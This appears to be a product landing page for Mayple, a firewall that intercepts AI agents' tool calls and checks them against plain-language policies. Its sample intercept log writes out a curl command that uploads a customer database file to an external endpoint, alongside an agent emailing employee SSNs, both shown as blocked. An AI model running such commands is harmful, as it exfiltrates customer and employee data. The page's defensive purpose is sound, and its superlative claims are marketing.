The for AI agent tool calls.

One security layer across every agent and provider. No-code rules your ops team can manage - no engineering tickets required.

Get started freeDownload Desktop App

Also available for Windows · See how it works

One layer. Every agent. Full control.

Mayple is the only platform that combines a no-code UI, MCP support, a runtime firewall, and per-user rules - all in one place.

Drag agents onto a visual canvas and wire them into orchestrations. Set delegation policies, risk ceilings, and approval gates - then execute with one click.

Start LiveDry RunPauseResume

instruction

START

Finance Researcher

yahoo finance, sheets export

OC

Video Creator

generate summary video

OC

Social Publisher

youtube upload, messenger share

OC
task
Give a task to execute across agents...
Execute Task

Security that works across your entire agent stack.

Cross-agent visibility, pre-execution blocking, and no-code policies - the three things no other platform gives you together.

Cross-agent trace history

One timeline across every agent and provider.

Replay sessions that span multiple agents and tools in a single view. Not locked to one framework like LangSmith.

Trace Session

maple-live-42

4 actions tracked
  1. 01
    planrouter-agentrisk low

    Received request and opened session maple-live-42.

  2. 02
    toolfinance-agentrisk low

    Called billing.getInvoice for INV-1042.

  3. 03
    commandops-agentrisk high

    Tried shell command: curl external endpoint.

  4. 04
    guardpolicy-enginerisk medium

    Blocked action and sent approval request to reviewer.

Pre-execution blocking

Stop risky actions before they happen.

Mayple intercepts tool calls before execution - not after. Observability tools alert you post-fact. We prevent the damage.

Firewall Intercept Log

Real-time tool-call decisions

Live
ops-agentshell.exec
< 2 msblocked

curl -X POST https://ext.api/upload -d @customer_db.csv

Outbound data transfer blocked by policy "no-external-upload"

finance-agentslack.postMessage
< 1 msallowed

#general: Here is the invoice summary for Q2.

hr-agentemail.send
< 1 msblocked

to: all@company.com - Employee SSNs attached

PII detected in attachment - blocked by "pii-guard" policy

No-code policy rules

Your ops team writes the rules, not engineering.

Set per-user allow, block, and approval policies without code. Granular enough for compliance, simple enough for non-technical teams.

Policy Library

3 active policies · written in plain language

+ New Policy
pii-guardblock

“Block any tool call that sends SSN, credit card, or passport numbers to external endpoints.”

Scope: All agents
slack-approvalapprove

“Require human approval before posting to #general or #engineering channels.”

Scope: Sales Outreach, HR Bot
read-only-prodallow

“Allow database reads. Block all write, update, and delete operations on production tables.”

Scope: Expense Auditor

How it works

From zero to protected in minutes

Four steps to secure every agent tool call across your stack.

  1. 01

    Connect your agents

    Point Mayple at your agents - any provider, any framework. One proxy layer, zero code changes.

  2. 02

    Write rules in plain language

    No code, no YAML. Your ops team sets allow, block, and approval policies in natural language.

  3. 03

    Intercept in real time

    Mayple intercepts every tool call before execution. Risky actions get blocked or queued for approval.

  4. 04

    Replay, refine, comply

    Replay full sessions across agents. Refine rules with real data. Export audit logs for compliance.

Simple pricing, for every stage.

Pick the plan that matches your team size and risk needs.

Pro

For individuals getting started with agent security.

$9/mo

  • MCP firewall for tool calls
  • Allow and block policies
  • Tool-call audit log
  • Single-user policies
  • Email support
Start free

Team

For teams that need cross-agent governance and approvals.

$15/mo

  • Everything in Pro
  • Human approval queue
  • Per-user granular rules
  • Role-based access
  • Shared policy library
  • Priority support
Start free trial

Enterprise

For organizations embedding security across their agent stack.

$39/mo

  • Everything in Team
  • Embeddable SDK for platforms
  • Custom policy packs
  • Compliance reporting
  • SSO and dedicated environments
  • Enterprise support
Contact sales

Frequently asked questions

If you can't find what you're looking for, email our support team at support@mayple.cloud.

Mayple is a runtime firewall for AI agent tool calls. It intercepts every action your agents take - emails, API calls, database queries - and checks it against your policies before execution. Unlike observability tools that report damage after the fact, Mayple prevents it.

Yes. Mayple is provider-agnostic and MCP-native. It works with OpenAI, Anthropic, Google, or any custom framework as a proxy layer - zero code changes required to your agents.

No. Policies are written in plain language through a no-code interface. For example: "Block outbound data transfers" or "Require approval before posting to Slack." You can scope rules per user, per agent, or organization-wide.

Blocked actions are stopped immediately - they never execute. Approval rules pause the action and notify a human reviewer with full context. The agent waits until the reviewer approves or rejects. Every decision is logged for audit.

Under ten minutes. Download the desktop app, connect your agents, and set your first rules. No infrastructure to provision. Available on macOS and Windows with cloud-hosted or self-hosted options.